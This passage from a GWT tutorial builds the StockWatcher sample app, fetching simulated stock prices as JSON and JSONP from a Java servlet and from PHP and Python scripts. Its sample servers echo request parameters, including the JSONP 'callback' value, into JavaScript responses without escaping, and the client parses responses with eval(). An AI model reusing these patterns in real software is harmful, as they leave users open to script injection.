public class JsonStockData extends HttpServlet { private static final double MAX_PRICE = 100.0; // $100.00 private static final double MAX_PRICE_CHANGE = 0.02; // +/- 2% @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { Random rnd = new Random(); PrintWriter out = resp.getWriter(); out.println('['); String[] stockSymbols = req.getParameter("q").split(" "); for (String stockSymbol : stockSymbols) { double price = rnd.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (rnd.nextDouble() * 2f - 1f); out.println(" {"); out.print(" \"symbol\": \""); out.print(stockSymbol); out.println("\","); out.print(" \"price\": "); out.print(price); out.println(','); out.print(" \"change\": "); out.println(change); out.println(" },"); } out.println(']'); out.flush();

} }

Including the server-side code in the GWT module
The embedded servlet container (Jetty) can host the servlet that generates the stock data in JSON format. To set this up, add <servlet> and <servlet-mapping> elements to the web application deployment descriptor (web.xml) and point to JsonStockData. Starting with GWT 1.6, servlets should be defined in the web application deployment descriptor (web.xml) instead of the GWT module (StockWatcher.gwt.xml). In the <servlet-mapping> element, the url-pattern can be in the form of an absolute directory path (for example, /spellcheck or /common/login). If you specify a default service path with a @RemoteServiceRelativePath annotation on the service interface (as you did with StockPriceService), then make sure the path attribute matches the annotation value. Because you've mapped the StockPriceService to "stockPrices" and the module rename-to attribute in StockWatcher.gwt.xml is "stockwatcher", the full URL will be: http://localhost:8888/stockwatcher/stockPrices 1. Edit the web application deployment descriptor (StockWatcher/war/WEB-INF/web.xml). Since the greetServlet is no longer needed, its definition can be removed.

109 / 469

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <!-- Default page to serve --> <welcome-file-list> <welcome-file>StockWatcher.html</welcome-file> </welcome-file-list> <!-- Servlets --> <servlet> <servlet-name>jsonStockData</servlet-name> <servlet-class>com.google.gwt.sample.stockwatcher.server.JsonStockData</servlet-class> </servlet> <servlet-mapping> <servlet-name>jsonStockData</servlet-name> <url-pattern>/stockwatcher/stockPrices</url-pattern> </servlet-mapping> </web-app>

Testing your ability to retrieve JSON data from the server
1. Debug StockWatcher in development mode. At this point, the stock data is still coming from the client-side code. 2. Test the stock quote server. Ensure that the development mode code server is running and pass stock codes to the servlet URL http://localhost:8888/stockwatcher/stockPrices?q=ABC+DEF 3. The servlet generates an array of simulated stock data encoded in JSON format.

110 / 469

3.3.2.2.

Manipulating JSON data in the client-side code

Overview
At this point, you've verified that you are able to get JSON data from a server. Later in this section, you'll code the HTTP GET request to the server. First, focus on working with the JSON-encoded text that's returned to the client-side code. Two techiques you'll use are JSNI (JavaScript Native Interface) and GWT overlay types. This is the JSON data coming back from the server.
[

{ "symbol": "ABC", "price": 47.65563005127077, "change": -0.4426563818062567

}, ]

First, you'll use a JavaScript eval() function to convert the JSON string into JavaScript objects.
private final native JsArray<StockData> asArrayOfStockData(String json) /*-{ return eval(json); }-*/;

Then, you'll be able to write methods to access those objects.
// JSNI methods to get stock data. public final native String getSymbol() /*-{ return this.symbol; }-*/; public final native double getPrice() /*-{ return this.price; }-*/; public final native double getChange() /*-{ return this.change; }-*/;

In both cases, you'll use JSNI. When the client-side code is compiled to JavaScript, the Java methods are replaced with the JavaScript exactly as you write it inside the tokens.

Coding with JSNI
As you see in the examples above, using JSNI you can call handwritten (as opposed to GWT-generated) JavaScript methods from within the GWT module. JSNI methods are declared native and contain JavaScript code in a specially formatted comment block between the end of the parameter list and the trailing semicolon. A JSNI comment block begins with the exact token /*-{ and ends with the exact token }-*/. JSNI methods are called just like any normal Java method. They can be static or instance methods. In Depth: For tips, tricks, and caveats about mixing handwritten JavaScript into your Java source code, see the Developer's Guide, JavaScript Native Interface (JSNI).

Converting JSON into JavaScript objects
First you need to convert the JSON text from the server into JavaScript objects. The simplest and fastest way to do this is by using JavaScript's built-in eval() function, which can correctly parse valid JSON text and produce a corresponding object. However, because eval() can execute any JavaScript code (not just JSON data) this approach has some serious security implications. Make sure the servers you interact with are absolutely trustworthy, because they will have the ability to execute arbitrary JavaScript code within your application. In this example, since you are using the servlet container to access data on your own machine, this is not an issue. 1. Convert the string into a JavaScript array. In the StockWatcher class, add the following method.

111 / 469

/** * Convert the string of JSON into JavaScript object. */ private final native JsArray<StockData> asArrayOfStockData(String json) /*-{ return eval(json); }-*/;

Eclipse flags JsArray and StockData. StockData is the overlay type you will use to replace the StockPrice class. 2. Declare the import.
import com.google.gwt.core.client.JsArray;

3. Create a stub for the StockData class in the client package. Ignore any remaining compile errors in the StockWatcher class; these will be resolved after you code the StockData class.

JSON data types
As you might expect, JSON data types correspond to the built-in types of JavaScript. JSON can encode strings, numbers, booleans, and null values, as well as objects and arrays composed of those types. As in JavaScript, an object is actually just an unordered set of name/value pairs. In JSON objects, however, the values can only be other JSON types (never functions containing executable JavaScript code). Another technique for a converting a JSON string into something you can work with is to use the static JSONParser.parse(String) method. GWT contains a full set of JSON types for manipulating JSON data in the com.google.gwt.json.client package. If you prefer to parse the JSON data, see the Developer's Guide, Working with JSON. Ultimately both techniques rely on the JavaScript eval() function; so you are still responsible for ensuring that you are using a trusted source of JSON data.

Creating an overlay type
Your next task is to replace the existing StockPrice type with the StockData type. Not only do you want to be access the array of JSON objects, but you want to be able to work with them as if they were Java objects while you're coding. GWT overlay types let you do this. The new StockData class will be an overlay type which overlays the existing JavaScript array. 1. Replace the stub with the following code. Note: The commented numbers refer to the implementation notes below. You can delete them.

package com.google.gwt.sample.stockwatcher.client; import com.google.gwt.core.client.JavaScriptObject; class StockData extends JavaScriptObject { // Overlay types always have protected, zero argument constructors. protected StockData() {} // (1) // (2)

// JSNI methods to get stock data. public final native String getSymbol() /*-{ return this.symbol; }-*/; // (3) public final native double getPrice() /*-{ return this.price; }-*/; public final native double getChange() /*-{ return this.change; }-*/; // Non-JSNI method to return change percentage. public final double getChangePercent() { return 100.0 * getChange() / getPrice(); } } // (4)

112 / 469

Implementation Notes
(1) StockData is a subclass of JavaScriptObject, a marker type that GWT uses to denote JavaScript objects. JavaScriptObject gets special treatment from the GWT compiler and development mode code server. Its purpose is to provide an opaque representation of native JavaScript objects to Java code. (2) Overlay types always have protected, zero-argument constructors. (3) Typically methods on overlay types are JSNI. These getters directly access the JSON fields you know exist. By design, all methods on overlay types are final and private; thus every method is statically resolvable by the compiler, so there is no need for dynamic dispatch at runtime. (4) However, methods on overlay types are not required to be JSNI. Just as you did in the StockPrice class, you calculate the change percentage based on the price and change values.

Benefits of using overlay types
Using an overlay type creates a normal looking Java type that you can interact with using code completion, refactoring, and compile-time checking. Yet, you also have the flexibility of interacting with arbitrary JavaScript objects, which makes it simpler to access JSON services using RequestBuilder (which you'll do in the next section). GWT now understands that any instance of StockData is a true JavaScript object that comes from outside this GWT module. You can interact with it exactly as it exists in JavaScript. In this example, you can access directly the JSON fields you know exist: this.Price and this.Change. Because the methods on overlay types can be statically resolved by the GWT compiler, they are candidates for automatic inlining. Inlined code runs significantly faster. This makes it possible for the GWT compiler to create highlyoptimized JavaScript for your application's client-side code.

3.3.2.3.

Making HTTP requests to retrieve data from the server

Now that you have the mechanism for working with the JSON data in place, you'll write the HTTP request that gets the data from the server. In this example, you're going to replace the current refreshWatchList method with a new implementation that uses HTTP.

Specifying the URL
First, specify the URL where the servlet lives, that is: http://localhost:8888/stockwatcher/stockPrices?q=ABC+DFD Note: If you are doing the php example, substitute the corresponding URL. Then, append the stock codes in the watch list to the base module URL. Rather than hardcoding the URL for the JSON server, add a constant to the StockWatcher class. 1. Add a constant to the StockWatcher class that specifies the URL of the JSON data. Note: Earlier you specified a path to /stockPrices in the module XML file.

private static final String JSON_URL = GWT.getModuleBaseURL() + "stockPrices?q=";

Eclipse flags GWT. 2. Include the import declarations.
import com.google.gwt.core.client.GWT;

3. Append the stock codes to the query URL and encode it. Replace the existing refreshWatchList method with the following code.

113 / 469

private void refreshWatchList() { if (stocks.size() == 0) { return; } String url = JSON_URL; // Append watch list stock symbols to query URL. Iterator iter = stocks.iterator(); while (iter.hasNext()) { url += iter.next(); if (iter.hasNext()) { url += "+"; } } url = URL.encode(url); // TODO Send request to server and handle errors. }

Eclipse flags Iterator and URL. 4. Include the import declarations.
import com.google.gwt.http.client.URL; import java.util.Iterator;

Asynchronous HTTP
To get the JSON text from the server, you'll use the HTTP client classes in the com.google.gwt.http.client package. These classes contain the functionality for making asynchronous HTTP requests. The HTTP types are contained within separate GWT modules that StockWatcher needs to inherit. 1. To inherit other GWT modules, edit the module XML file. In StockWatcher.gwt.xml, add <inherits> tags and specify the HTTP module.
<!-- Other module inherits --> <inherits name="com.google.gwt.http.HTTP" />

2. Open StockWatcher.java and include the following import declarations. Declare the imports for the following Java types.
import import import import import com.google.gwt.http.client.Request; com.google.gwt.http.client.RequestBuilder; com.google.gwt.http.client.RequestCallback; com.google.gwt.http.client.RequestException; com.google.gwt.http.client.Response;

Building a custom HTTP request
To send a request, you'll create an instance of the RequestBuilder object. You specify the HTTP method (GET, POST, etc.) and URL in the constructor. If necessary, you can also set the username, password, timeout, and headers to be used in the HTTP request. In this example, you don't need to do this. When you're ready to make the request, you call sendRequest(String, RequestCallback). The RequestCallback argument you pass will handle the response in its onResponseReceived(Request, Response) method, which is called when and if the HTTP call completes successfully. If the call fails (for example, if the HTTP server is not responding), the onError(Request, Throwable) method is called instead. The RequestCallback interface is analogous to the AsyncCallback interface in GWT remote procedure calls. 1. Make the HTTP request and parse the JSON response. In the refreshWatchList method, replace the TODO comments with the following code .

114 / 469

// Send request to server and catch any errors. RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, url); try { Request request = builder.sendRequest(null, new RequestCallback() { public void onError(Request request, Throwable exception) { displayError("Couldn't retrieve JSON"); } public void onResponseReceived(Request request, Response response) { if (200 == response.getStatusCode()) { updateTable(asArrayOfStockData(response.getText())); } else { displayError("Couldn't retrieve JSON (" + response.getStatusText() + ")"); } } }); } catch (RequestException e) { displayError("Couldn't retrieve JSON"); }

2. You receive two compile errors which you will resolve in a minute.

Modify the updateTable method
To fix the compile errors, modify the updateTable method. • • • Change: StockPrice[] prices To: JsArray<StockData> prices Change: prices.length To: prices.length() Change: prices[i] To: prices.get(i)

1. Replace the existing update updateTable(StockPrice[]) method with the following code.
/** * Update the Price and Change fields for all rows in the stock table. * * @param prices Stock data for all rows. */ private void updateTable(JsArray<StockData> prices) { for (int i = 0; i < prices.length(); i++) { updateTable(prices.get(i)); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); }

2. Make a corresponding change in the updateTable(StockPrice price) method. Change the reference to the StockPrice class to StockData class.
private void updateTable(StockData price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } ... }

115 / 469

3.3.2.4.

Handling GET errors

If something breaks along the way (for example, if the server is offline, or the JSON is malformed), you'll trap the error and display a message to the user. To do this you'll create a Label widget and write a new method, displayError(String). 1. Clear the compiler error by creating a stub method in the StockWatcher class. Set the text for the error message and make the Label widget visible.
/**

* If can't get JSON, display error message. * @param error */ private void displayError(String error) { errorMsgLabel.setText("Error: " + error); errorMsgLabel.setVisible(true); }

2. Eclipse flags errorMsgLabel. Ignore the compile errors for a moment; you'll implement a Label widget to display the error text in the next step. 3. If the error is corrected, hide the Label widget. In the updateTable(JsArray<StockData> prices) method, clear any error messages.
private void updateTable(JsArray<StockData> prices) { for (int i=0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); // Clear any errors. errorMsgLabel.setVisible(false); }

Displaying error messages
In order to display the error, you will need a new UI component; you'll implement a Label widget. 1. Define a style for the error message so that it will attract the user's attention. In StockWatcher.css, create a style rule that applies to any element with a class attribute of errorMessage.
.negativeChange { color: red; } .errorMessage { color: red; }

2. To hold the text of the error message, add a Label widget. In StockWatcher.java, add the following instance field.
private ArrayList<String> stocks = new ArrayList<String>(); private Label errorMsgLabel = new Label();

3. Initialize the errorMsgLabel when StockWatcher launches. In the onModuleLoad method, add a secondary class attribute to errorMsgLabel and do not display it when StockWatcher loads. Add the error message to the Main panel above the stocksFlexTable.

116 / 469

// Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addButton); addPanel.addStyleName("addPanel"); // Assemble Main panel. errorMsgLabel.setStyleName("errorMessage"); errorMsgLabel.setVisible(false); mainPanel.add(errorMsgLabel); mainPanel.add(stocksFlexTable); mainPanel.add(addPanel); mainPanel.add(lastUpdatedLabel);

Test the HTTP request and error handling
1. Refresh StockWatcher in development mode. 2. Enter several stock codes. StockWatcher should display Price and Change data for each stock. Rather than being generated from within the program the stock data is coming from you local server in JSON format. 3. Test the HTTP error messages by calling an invalid URL. In StockWatcher,java, edit the URL. Change: private static final String JSON_URL = GWT.getModuleBaseURL() + "stockPrices?q="; To: private static final String JSON_URL = GWT.getModuleBaseURL() + "BADURL?q="; 4. Refresh StockWatcher in development mode. 5. Enter a stock code. StockWatcher displays a red error message. Valid stock code data stops being refreshed.

6. In StockWatcher,java, correct the URL. 7. Refresh StockWatcher in development mode. Enter several stock codes. StockWatcher should display Price and Change data for each stock again.

117 / 469

3.3.3.

JSON - PHP

If you have a web server (Apache, IIS, etc.) installed locally and PHP installed, you can write a PHP script to generate stock data and make the call to your local server. What's important for this example is that the stock data is JSONencoded and that the server is local. 1. Create a PHP script. In the Eclipse Package Explorer, select the StockWatcher/war folder. From the Eclipse menu bar, select File > New > File. In the New File window, enter the file name stockPrices.php
<?php header('Content-Type: text/javascript'); header('Cache-Control: no-cache'); header('Pragma: no-cache'); define("MAX_PRICE", 100.0); // $100.00 define("MAX_PRICE_CHANGE", 0.02); // +/- 2% echo '['; $q = trim($_GET['q']); if ($q) { $symbols = explode(' ', $q); for ($i=0; $i<count($symbols); $i++) { $price = lcg_value() * MAX_PRICE; $change = $price * MAX_PRICE_CHANGE * (lcg_value() * 2.0 - 1.0); echo echo echo echo echo '{'; "\"symbol\":\"$symbols[$i]\","; "\"price\":$price,"; "\"change\":$change"; '}';

} } ?>

if ($i < (count($symbols) - 1)) { echo ','; }

echo ']';

2. Compile StockWatcher. Click the GWT Compile Project button in the toolbar or run the ant build script to create the production mode files for the application (which will now include stockPrices.php).

118 / 469

3. Move the compiled StockWatcher files in the StockWatcher/war directory to a /StockWatcher directory in whatever web server (Apache, IIS, etc.) you have installed locally which supports PHP. If you are not using Java servlets (e.g. GWT RPC), you will not have to move over the files in StockWatcher/war/WEB-INF 4. Test the stock quote server. In a web browser, navigate to http://localhost/StockWatcher/stockPrices.php?q=ABC+DEF StockPrice data is returned in JSON format.
[{"symbol":"ABC","price":40.485578668179,"change":-0.53944918844604}, {"symbol":"DEF","price":1.3606576154209,"change":0.0051755221198266}]

Now that you can retrieve JSON-encoded stock data from the server, continue with the next step in the JSON tutorial, Manipulating JSON data in the client-side code.

119 / 469

3.3.4.

Cross-Site

At this point, you've modified the initial implementation of the StockWatcher application, which simulated stock data in the client-side code. The current implementation now retrieves JSON-formatted data from your local server. In this session, you'll make a call to a remote server instead. To do so you will have to work around SOP (Same Origin Policy) constraints. 1. 2. 3. 4. 5. Review the requirements and design: access restrictions and asynchronous communication. Create a source of JSON data on a remote server. Request the data from the remote server. Handle the response. Test.

Note: For a broader guide to client-server communication in a GWT application, see Communicate with a Server.

Before you begin

The StockWatcher project
This tutorial builds on the GWT concepts and the StockWatcher application created in the Build a Sample GWT Application tutorial. If you have not completed the Build a Sample GWT Application tutorial and are familiar with basic GWT concepts, you can import the StockWatcher project as coded to this point. 1. Download the StockWatcher project (with JSON). 2. Unzip the file. 3. Import the project into Eclipse 1. From the File menu, select the Import... menu option. 2. Select the import source General > Existing Projects into Workspace. Click the Next button. 3. For the root directory, browse to and select the StockWatcher directory (from the unzipped file). Click the Finish button. If you are using ant, edit the gwt.sdk property in StockWatcher/build.xml to point to where you unzipped GWT. In order to actually run this tutorial, you will need either access to a server other than where StockWatcher is running, one that can run a PHP script, or be able to run a Python script on your machine.

3.3.4.1.

Reviewing the requirements and design

As you modify the current implementation of StockWatcher to access data on a remote server, there are two issues to address: • Access Restrictions: SOP (Same Origin Policy) • Asynchronous Communication

Access Restrictions: Same Origin Policy
The Same Origin Policy (SOP) is a browser security measure that restricts client-side JavaScript code from interacting with resources not originating from the same domain name, protocol and port. The browser considers two pages to have the same origin only if these three values are the same. For example, if the StockWatcher application is running in a web page on http://abc.com:80 it cannot interact with stock data loaded from a different domain, http://xyz.com. It can't even load stock data from the same domain if the port is different, for example, http://abc.com:81. The idea behind SOP is that, for security reasons, the browser should not trust content loaded from arbitrary websites. A malicious web page could inject code that steals data or otherwise compromises security. As such, for accessing JSON-formatted stock data from another domain or port, the current implementation will not work. The web browser will block the HTTP call to retrieve the JSON. For a more detailed description of SOP and its effect on GWT, read What is the Same Origin Policy, and how does it affect GWT?

120 / 469

Working around SOP
There are two options for working around SOP security: • • Proxy on your own server Load the JSON response into a <script> tag

Proxy on your own server The first option is to play by the rules of SOP and create a proxy on your local server. You can then make HTTP calls to your local server and have it go fetch the data from the remote server. This works because the code running on your web server is not subject to SOP restrictions. Only the client-side code is. Specifically for the StockWatcher application, you could implement this strategy by writing server-side code to download (and maybe cache) the JSON-encoded stock quotes from a remote server. You could then use any mechanism we want for retrieving the data from the local server: GWT RPC or direct HTTP using RequestBuilder. One downside to this approach is that it requires additional server-side code. Another is that the extra HTTP call increases the latency of remote calls and adds to the workload on our web server. Load the JSON response into a <script> tag Another option is to dynamically load JavaScript into a <script> tag. Client-side JavaScript can manipulate <script> tags, just like any other element in the HTML Document Object Model (DOM). Client-side code can set the src attribute of a <script> tag to automatically download and execute new JavaScript into the page. This strategy is not subject to SOP restrictions. So you can effectively use it to load JavaScript (and therefore JSON) from remote servers. This is the strategy you'll use to get the JSON-formatted stock data from a remote server.

Asynchronous Communication
Dynamically loading the JavaScript into a <script> tag solves the SOP issue but introduces another. When you use this method to load JavaScript, although the browser retrieves the code asynchronously, it doesn't notify you when it's finished. Instead, it simply executes the new JavaScript. However, by definition, JSON cannot contain executable code. Put the two together and you'll realize that you can't load plain JSON data using a <script> tag.

JSON with Padding (JSONP)
To resolve the callback issue, you can specify the name of a callback function as an input argument of the call itself. The web server will then wrap the JSON response in a call to that function. This technique is called JSON with Padding (JSONP). When the browser finishes downloading the new contents of the <script> tag, the callback function executes.
callback125([{"symbol":"DDD","price":10.610339195026,"change":0.053085447454327}]);

Google Data APIs support this technique. For StockWatcher, the additional requirement in the client-side code is that you include the name of the JavaScript function you're using as a callback in the HTTP request .

Implementation Strategies
Now that you understand the SOP issues surrounding cross-site requests, compare this implementation to the implementation for getting JSON data from a local server. You'll have to change some of the existing implementation but you'll be able to reuse some components as well. Most of the work will be in writing the new method, getJSON, which makes the call to the remote server.

121 / 469

Task Making the call Server-side code Handling the response Data objects Handle Errors

Same-Site Implementation HTTP with Request Builder

Cross-Site Implementation Embed a script whose src attribute is the URL of the JSON data with the name of the callback function appended. Returns a Javascript callback function with the JSON string Already a JavaScript object; cast it as a StockData array Reuse the overlay type Reuse the Label widget

Returns JSON string Use JavaScript eval() function to turn JSON string into JavaScript object Create an overlay type: StockData Create a Label widget to display error messages

3.3.4.2.

Creating a data a source

In this tutorial, you have two options for setting up the stock data so that StockWatcher encounters SOP restrictions. 1. If you have access to a server with PHP installed, you can use the PHP script below to generate the JSONformatted stock data. 2. If you don't have a server but have Python installed on your machine, you can use the Python script below to serve the stock data from a different port than StockWatcher is running on.

Actually using different server
If you have access to a web server, then you can use the following PHP script to return the JSONP. 1. Create a text file and name it stockPrices.php
<?php header('Content-Type: text/javascript'); header('Cache-Control: no-cache'); header('Pragma: no-cache'); define("MAX_PRICE", 100.0); // $100.00 define("MAX_PRICE_CHANGE", 0.02); // +/- 2% $callback = trim($_GET['callback']); echo $callback; echo '(['; $q = trim($_GET['q']); if ($q) { $symbols = explode(' ', $q); for ($i=0; $i<count($symbols); $i++) { $price = lcg_value() * MAX_PRICE; $change = $price * MAX_PRICE_CHANGE * (lcg_value() * 2.0 - 1.0); echo echo echo echo echo '{'; "\"symbol\":\"$symbols[$i]\","; "\"price\":$price,"; "\"change\":$change"; '}';

if ($i < (count($symbols) - 1)) { echo ','; } } } echo ']);';

?>

2. Copy the PHP script to another server. 122 / 469

3. Open a browser and make a request for the JSON data. http://[www.myStockServerDomain.com]/stockPrices.php?q=ABC 4. The JSON string is returned.
[{"symbol":"ABC","price":81.284083,"change":-0.007986}]

However, as you'll see in the next section, the StockWatcher application will not be able to make this request from its client-side code. 5. Make a request for the JSONP by appending the name of a callback function. http://[www.myStockServerDomain.com]/stockPrices.php?q=ABC&callback=callback125 6. The JSON is returned embedded in the callback function.
callback125([{"symbol":"ABC","price":53.554212,"change":0.584011}]);

Simulating a second server
If you do not have access to a remote server, but have Python installed on your local machine, you can simulate a remote server. If you make an HTTP request to a different port, you will hit the same SOP restrictions as if you were trying to access a different domain. Use the following script to serve data from a different port on your local machine. For each stock symbol the Python script generates random price and change values in JSON format. Notice in the BaseHTTPServer.HTTPServer constructor that it will be running on port 8000. Also notice that the script supports the callback query string parameter. 1. Create a Python script and save it as quoteServer.py
#!/usr/bin/env python2.4 # # Copyright 2007 Google Inc. All Rights Reserved. import import import import BaseHTTPServer SimpleHTTPServer urllib random

MAX_PRICE = 100.0 MAX_PRICE_CHANGE = 0.02 class MyHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): form = {} if self.path.find('?') > -1: queryStr = self.path.split('?')[1] form = dict([queryParam.split('=') for queryParam in queryStr.split('&')]) body = '[' if 'q' in form: quotes = [] for symbol in urllib.unquote_plus(form['q']).split(' '): price = random.random() * MAX_PRICE change = price * MAX_PRICE_CHANGE * (random.random() * 2.0 - 1.0) quotes.append(('{"symbol":"%s","price":%f,"change":%f}' % (symbol, price, change))) body += ','.join(quotes) body += ']' if 'callback' in form: body = ('%s(%s);' % (form['callback'], body)) self.send_response(200) self.send_header('Content-Type', 'text/javascript') self.send_header('Content-Length', len(body)) self.send_header('Expires', '-1')

123 / 469

self.send_header('Cache-Control', 'no-cache') self.send_header('Pragma', 'no-cache') self.end_headers() self.wfile.write(body) self.wfile.flush() self.connection.shutdown(1) bhs = BaseHTTPServer.HTTPServer(('', 8000), MyHandler) bhs.serve_forever()

2. Save the script to the main StockWatcher directory. 3. Make sure the Python interpreter is on your PATH. 4. Launch the script. From the command shell, enter python quoteServer.py The server will start, although you won't see any output immediately. (It will log each HTTP request). 5. Open a browser and make a request for the JSON data. http://localhost:8000/?q=ABC 6. The JSON string is returned.
[{"symbol":"ABC","price":81.284083,"change":-0.007986}]

However, as you'll see in the next section, the StockWatcher application will not be able to make this request from its client-side code. 7. Make a request for the JSONP by appending the name of a callback function. http://localhost:8000/?q=ABC&callback=callback125 8. The JSON is returned embedded in the callback function.
callback125([{"symbol":"ABC","price":53.554212,"change":0.584011}]);

3.3.4.3.

Requesting the data from the remote server

Now that you've verified that the server is returning stock data either as a JSON string or as JSONP, you can update StockWatcher to request and then handle the JSONP. The RequestBuilder code is replaced by a call to the getJson method. The first parameter is an ID number that uniquely identifies each HTTP request.

Specifying the URL
Update the query URL so that it includes both the stock codes your are querying and the name of the callback function. Each callback function will have a unique ID number.

Update JSON_URL
This is the only difference that results in the implementation depending on whether the data is being served from a different domain or a different port. 1. In the StockWatcher class, change the JSON_URL constant as follows: Change:
private static final String JSON_URL = GWT.getModuleBaseURL() + "stockPrices?q=";

If your stock data is being served from a different port (the Python script), change JSON_URL to:
private static final String JSON_URL = "http://localhost:8000/?q=";

If your stock data is being served from a different domain (the PHP script), specify the domain and full path to the stockPrices.php script:

124 / 469

private static final String JSON_URL = "http://www.myStockServerDomain.com/stockPrices.php?q=";

2. Create a variable to hold the value of the callback ID.
private Label errorMsgLabel = new Label(); private int jsonRequestId = 0;

3. Try to retrieve plain JSON data from the remote server. Debug StockWatcher in development mode. Enter a stock code. 4. StockWatcher displays the error message: Couldn't retrieve JSON. To fix the SOP error, in the next step you'll pad the JSON with the callback function.

Creating the callback method
In the same-site implementation, the JSON URL was appended with the stock codes and then a HTTP GET request sent to the server. RequestBuilder was used to construct the HTTP request. In the cross-site implementation, the JSON URL is wrapped in the callback method. The RequestBuilder code is replaced by a JSNI function, getJSON(int, String, StockWatcher). The first parameter is an ID number that uniquely identifies each HTTP request. The getJSON function creates a JavaScript script which makes the call to the server.

Update the refreshWatchList method
1. Update the refreshWatchList method.
/**

* Generate random stock prices. */ private void refreshWatchList() { if (stocks.size() == 0) { return; } String url = JSON_URL; // Append watch list stock symbols to query URL. Iterator<String> iter = stocks.iterator(); while (iter.hasNext()) { url += iter.next(); if (iter.hasNext()) { url += "+"; } } // Append the name of the callback function to the JSON URL. url = URL.encode(url) + "&callback=";

// Send request to server by replacing RequestBuilder code with a call to a JSNI method. getJson(jsonRequestId++, url, this); }

2. Eclipse flags getJson. Ignore the compile error; you'll write that method in a minute. 3. If you haven't already, delete the RequestBuilder code. The RequestBuilder code is replaced by a call to the getJson method. So you no longer need the following code in the refreshWatchList method:

125 / 469

// Send request to server and catch any errors. RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, url); try { Request request = builder.sendRequest(null, new RequestCallback() { public void onError(Request request, Throwable exception) { displayError("Couldn't retrieve JSON"); } public void onResponseReceived(Request request, Response response) { if (200 == response.getStatusCode()) { updateTable(asArrayOfStockData(response.getText())); } else { displayError("Couldn't retrieve JSON (" + response.getStatusText() + ")"); } } }); } catch (RequestException e) { displayError("Couldn't retrieve JSON"); }

Making the call to the remote server
What follows is the most important change in this implementation. This is where you work around the SOP restrictions by using the src attribute of the <script> tag to make the call to the remote server. This JSNI method (getJSON) creates a dynamically-loaded <script> element. The src attribute is the URL of the JSON data with the name of a callback function appended. When the script executes, it fetches the padded JSON; the JSON data is passed as an argument of the callback function. When the callback function executes, it calls the Java handleJsonResponse method and passes it the JSON data as a JavaScript object. Not only does this implementation include some embedded handwritten JavaScript (JSNI) but it uses a bridge method, a technique for calling back into the Java source code during development. (Remember, when you compile StockWatcher, all the client-side Java code is compiled into JavaScript.)

Implement the getJSON method
1. Add the getJson method to the StockWatcher class.
public native static void getJson(int requestId, String url, StockWatcher handler) /*-{ var callback = "callback" + requestId; // [1] Create a script element. var script = document.createElement("script"); script.setAttribute("src", url+callback); script.setAttribute("type", "text/javascript"); // [2] Define the callback function on the window object. window[callback] = function(jsonObj) { // [3] handler.@com.google.gwt.sample.stockwatcher.client.StockWatcher::handleJsonResponse(L com/google/gwt/core/client/JavaScriptObject;)(jsonObj); window[callback + "done"] = true; } // [4] JSON download has 1-second timeout. setTimeout(function() { if (!window[callback + "done"]) { handler.@com.google.gwt.sample.stockwatcher.client.StockWatcher::handleJsonResponse (Lcom/google/gwt/core/client/JavaScriptObject;)(null); } // [5] Cleanup. Remove script and callback elements. document.body.removeChild(script); delete window[callback]; delete window[callback + "done"]; }, 1000); // [6] Attach the script element to the document body. document.body.appendChild(script); }-*/;

126 / 469

Implementation Notes • • • • • • [1] The script starts by setting up a <script> element. The src attribute points to the URL that will retrieve the JSON data wrapped in a callback function. [2] The callback function is defined on the browser's window object. It receives as an argument a JavaScript object which is the JSON data returned by the server. [3] The callback function passes the JSON data as a JavaScript object to the Java method, handleJsonResponse. [4] A timeout function is defined to check for an unresponsive server or network problem; it checks a flag to see if the JSON callback was ever called. [5] Before the timeout function completes, it removes the new <script> element and the callback function from window. [6] Finally call appendChild() to attach the dynamically-loaded <script> element to the HTML document body. This causes the web browser to download the JavaScript referenced by the src attribute.

Handling multiple pending requests This implementation generates callback function names sequentially in case of multiple pending requests. In particular, notice the syntax used to call the handleJsonResponse(JavaScriptObject) method:
handler.@com.google.gwt.sample.stockwatcher.client.StockWatcher::handleJsonResponse(Lcom/google/g wt/core/client/JavaScriptObject;)(jsonObj);

You can see that once the JSON object is downloaded, the callback in the JSNI method is really just delegating to the Java method handleJsonResponse. More about bridge methods Calling Java methods from JavaScript is somewhat similar to calling Java methods from C code in JNI. In particular, JSNI borrows the JNI mangled method signature approach to distinguish among overloaded methods. JavaScript calls into Java methods are of the following form:
[instance-expr.]@class-name::method-name(param-signature)(arguments)

Component [instance-expr.]

Description Must be present when calling an instance method and must be absent when calling a static method The fully-qualified name of the StockWatcher class The name of the method we're calling The handleJsonResponse method signature, defined with the JNI syntax The jsonObj containing the JSON data

Example handler.(StockWatcher object instance)

@class-name ::method-name (paramsignature) (arguments)

@com.google.gwt.sample.stockwatcher.client.StockWatcher ::handleJsonResponse (Lcom/google/gwt/core/client/JavaScriptObject;) (jsonObj)

For more information on manipulating Java objects from within the JavaScript implementation of a JSNI method, see the Developer's Guide, Accessing Java Methods and Fields from JavaScript.

127 / 469

3.3.4.4.

Handling the response

At this point most of your work is done. The one difference is that the return value is already a JavaScript object, not a JSON string. Thus, in the asArrayOfStockData method you no longer have to use the JavaScript eval() function to convert it.

Implement the handleJsonResponse method
If you receive a response from the server, then call the updateTable method to populate the Price and Change fields. You will still use the overlay type (StockData) and the JsArray (asArrayOfStockData) that you wrote in the same-site implementation. If a response does not come back from the server, you display a message. You can use the same displayError method and Label widget you created in the same-site implementation. 1. To the StockWatcher class, add the handleJsonResponse method.
/**

* Handle the response to the request for stock data from a remote server. */ public void handleJsonResponse(JavaScriptObject jso) { if (jso == null) { displayError("Couldn't retrieve JSON"); return; } updateTable(asArrayOfStockData (jso)); }

Eclipse flags JavaScriptObject. 2. Include the import declaration.
import com.google.gwt.core.client.JavaScriptObject;

Eclipse flags asArrayOfStockData. The asArrayOfStockData is expecting a String not a JavaScriptObject.

